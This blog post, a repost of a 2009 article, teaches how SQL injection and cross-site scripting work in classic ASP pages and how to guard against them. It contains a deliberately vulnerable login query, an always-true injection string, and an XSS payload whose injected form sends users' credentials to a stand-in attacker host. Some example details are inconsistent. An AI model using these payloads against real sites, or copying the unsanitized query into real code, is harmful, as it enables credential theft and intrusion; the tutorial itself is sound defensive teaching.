Sunday, January 4, 2009

Data Sanitization - Reducing Security Holes in an ASP Web Site SQL Injection

Data Sanitization - Reducing Security Holes in an ASP Web Site
By Craig Atkins

Introduction
ASP is a great Web development technology that allows for rapid development of data-driven Web sites. However, problems can arise, however, when developers "go live" with code that contains potential security holes due to rushing out poor code, or not knowing the exploits that exist. In this article we will examine two common security holes that can be exploited by knowledgeable hackers: SQL Injection and Cross Site Scripting.


It is surprising (and alarming) how many production Web applications/Web sites contain some major security holes based around these exploits. Furthermore, the amount of source code published on "educational" ASP sites (such as 4Guys, even) that suffers from these two common security pitfalls is shocking.

What is SQL Injection?
For data-driven Web sites, commonly the database queries issued are based, in part, on user input. For example, if your site has user accounts, requiring users to log in with the username and password, on the login page you likely have the user input their credentials, which you then use in a SQL statement to see if the user's supplied username and password match up. SQL Injection is a method of exploiting a Web application that takes a clients input data (such as a user's entered username and password) and uses it to form part of an SQL statement that is passed directly to a database.

An SQL Injection attack can be used for numerous nasty purposes depending on the hacker's skills and patience, such as logging into a website, stealing credit card details, deleting entire databases, or in some cases (where SQL server is used, and certain installation conditions are met) gaining access to the Web server's file system. Any SQL statement that uses unsanitized user input data is potentially vulnerable to an SQL Injection attack.

For example, imagine that we have a login page as previously described that accepts the user's username and password as input, and then checks the database to see if the credentials are correct. The VBScript code for this may look as follows (the below script shows the code that authenticates the user - it assumes that it is being called from a form where the TextBox for the user's username was give the name UserName, and the password TextBox was given the name Password):

'Create our ADO objects
dim db, rs
set db = server.createobject("ADODB.Connection")

'open the database
db.open myDSN

'Query the database to see if we have a record that matches
'the username and password that have been submitted
set rs = db.execute("SELECT * FROM tblUSERS WHERE UserName = '" & _
request.form("UserName") + "' AND Password = '" & _
request.form("Password") + "'")

if rs.eof then
'The user is not authenticated
else
'The user is authenticated
end if

If the user enters in the login page a username/password pair of "Craig" and "foobar", then the SQL query:

SELECT * FROM tblUSERS WHERE UserName = 'Craig' AND Password = 'foobar'

will be executed. If there is such a user, then the Recordset rs will contain a row with information from the correct user from the tblUSERS database table (assuming there aren't multiple users with the same username/password). Great! That seems to work fine, and is nice and simple. But, imagine for a moment, what would happen if the user enters his username or password as:

' OR '' = '

When a user provides such a username the following SQL query will be issued:

SELECT * FROM tblUSERS WHERE UserName = '' OR '' = '' AND Password = 'password entered'

This SQL statement will return all matching records from tblUSERS. Why? Because the query has now been altered to disregard the users input, and compare nothing ('') to nothing, which will always equal true. (Other variations on this might be using 1=1 or 1 != 0 or other "always true" boolean expressions.) Our friendly hacker has just gained access to the "secure" area of our Web application... not good is it?

How do we Protect Against SQL Injection?
The best way to protect against SQL Injection is to sanitize the user's input data before placing it within a SQL query. Sanitizing data is the act of stripping out any characters that we don't need from the data we are supplied. Returning to our username/password example, the username field, say, should only contain alphanumeric characters (and maybe spaces, underscores, etc. depending on your configuration). Importantly, username values (and password values, for that matter) should not contain apostrophes. Sanitizing user input, then, ensures that these user inputs contain only the valid characters. By requiring that the username and password being passed to the database does not contain any invalid characters, we can protect ourselves against a SQL Injection attack.

The easiest way to sanitize your data is to simply replace all apostrophes with two consecutive apostrophes. In fact, in the 4Guys article Protecting Yourself from SQL Injection Attacks by Ross Overstreet, Ross shows how to use the VBScript Replace function to perform this task. Personally, I prefer to use regular expressions to strip any characters outside of the predefined "legal" characters. (As discussed in the last paragraph, such legal characters for a username may be alphanumeric characters and underscores.)

What are Regular Expressions?
Regular expressions are a powerful set of tools designed for string parsing and pattern matching. To learn more about regular expressions, start with Scott Mitchell's An Introduction To Regular Expressions.

Therefore, in order to protect our earlier ASP page example from a SQL Injection attack we will need to add the following code to clean our username so it only contains alphanumeric characters.

'Create a regular expression object
Dim regEx
Set regEx = New RegExp

'The global property tells the RegExp engine to find ALL matching
'substrings, instead of just the first instance. We need this to be true.
regEx.Global = true

'Our pattern tells us what to find in the string... In this case, we find
'anything that isn't a numerical character, or a lowercase or
'uppercase alphabetic character
regEx.Pattern = "[^0-9a-zA-Z]"

'Use the replace function of RegExp to clean the username. The replace
'function takes the string to search (using the Pattern above as the
'search criteria), and the string to replace any found strings with.
'In this case, we want to replace our matches with nothing (''),
'as the matching characters will be the ones we don't want in our username.
dim username
username = regEx.Replace(request.form("UserName"), "")

With the above code in place, if the user entered his username as user'';';#'.#'.'name, the regular expression would strip the extraneous characters and set the variable username to the value "username". We should use this method of sanitizing data on all of the code that comes from a users browser (such as the password entered by the user). In fact, data sanitization should be applied to data from form fields, hidden fields, disabled fields and cookies as well. Never assume that client side validation is working correctly, as hackers can circumvent this, and never assume that cookies cannot be edited, as they can, so their data should always be treated as unclean.

Now that we've examined the SQL Injection attack, let's turn our attention to the Cross Site Scripting attack, which, while different, is related to the SQL Injection attack in that its vulnerability stems from unsanitized data. We'll examine the Cross Site Scripting security hole in Part 2.


In Part 1 we examined the SQL Injection attack, a commonly found security hole resulting from unsanitized user input that is used in forming a SQL query. In this final part we'll examine the Cross Site Scripting vulnerability, which can occur when unsanitized data is sent to the client's Web browser.


What is Cross Site Scripting?
Cross Site Scripting is a vulnerability that occurs when a Web site displays user input in the browser that has not been properly sanitized. Cross Site Scripting can be used to steal cookies, compromise data integrity, and trick users into submitting information to a hacker.

Turn your attention back to our login page example we examined earlier in this article. Imagine that this login system was comprised of two pages: Login.asp, which created a form for the user to enter their username and password, and the page CheckCredentials.asp, which checked to see if the user's supplied username/password were valid. Now, imagine that in the case that the credentials were invalid, CheckCredentials.asp uses a Response.Redirect to send the user back to Login.asp, passing along in the querystring an errorMessage string, like so:

CheckCredentials.asp
If rs.eof then
'user's credentials are not valid
Response.Redirect("Login.asp?errorMessage=Invalid+username+or+password")
Else
'user's credentials are valid, log them into the site...
End If

Then, in Login.asp, the errorMessage querystring value would be displayed as follows:

Login.asp
<form method="post" action="CheckCredentials.asp">

<%=request.querystring("errorMessage")%>

Username: <input name="UserName" type="text">

Password: <input name="Password" type="password">

<input name="submit" value="log in!" type="submit">
</form>

Using this (unsafe) technique, if the user attempts to login with invalid credentials, they are returned to Login.asp and are displayed a short message explaining that their credentials were invalid. A clever hacker, though, could realize that he could alter the actual HTML of the page by providing a errorMessage value that contains HTML markup. For example, imagine that you visited Login.asp using the following URL:

http://www.somesite.com/Login.asp?errorMessage=

<form method="post" action="www.hax0r.com/passwordstealer.asp">

As we saw in the code for Login.asp, the errorMessage querystring value will be emitted, producing an HTML page with the following markup:


Login.asp



Username: <input name="UserName" type="text">

Password: <input name="Password" type="password">

<input name="submit" value="log in!" type="submit">

</form>

The hacker has cleverly inserted some HTML into this page so that if an honest user were to visit the page with the supplied errorMessage querystring value, their supplied username and password would be submitted to the page http://www.hax0r.com/stealPassword.asp.

The hacker could now send a link to his contrived page via an email message, or a link from some message board site or what not, hoping that a user of the site will click on the link and attempt to login. Of course, by attempting to login, the user will be submitting his data to the hacker's site. (The proper encoding of the errorMessage querystring value in the URL would be: http://www.ourdomain.com/login.asp?errormsg=%3C%2Fform%3E%3Cform+method%3D%22POST%22+action%3D%22http://www%2Ehax0r%2Ecom%2FstealPassword%2Easp%22%3E.) The hacker "wins" if he can find someone who is tricked by this, clicks on his link, visits our Web site, and attempts to login, thereby sending their username/password to the hacker's Web site.

How do we Protect Against Cross Site Scripting?
Protecting against a Cross Site Scripting attack is relatively simple: simply use the Server.HtmlEncode method. Server.HtmlEncode takes a string and replace any characters that the browser will try to interpret with HTML encoding, so that the browser will print the characters to the screen. For example, if we call the Server.HtmlEncode method passing in:

The resulting string will be:

</form><form method="POST" action="www.hax0r.com/passwordstealer.asp">

To change our original code to use html encoding, we need to change the line that prints the value of errorMessage from <%=request.querystring("errorMessage")%> to <%=server.htmlencode(request.querystring("errormsg"))%>

Once again, sanitization of data that is passed back to the browser should be performed on all data that has passed from an insecure source (the client). We should also sanitize any data that comes from any source and is passed back to the browser, as a hacker could break into our database/file system, insert his code into the correct record/file, and compromise our Web site in that manner. For a good article on Cross Site Scripting attacks, see: The Cross Site Scripting FAQ.

Conclusion
In this article we have seen how a Web application can be compromised by a malicious user/hacker if we don't take adequate measures to ensure we are not passing unclean data to the back-end database or to the front-end Web browser. We need to ensure that every single section of our application is using sanitized data, as a hacker with a lot of time (and malicious intent) could find the one input field we forgot to sanitize because we were tired at the time we coded it! More information on security vulnerabilities in web applications can be found at: http://www.owasp.org/asac/.

Happy Programming!

By Craig Atkins

No comments: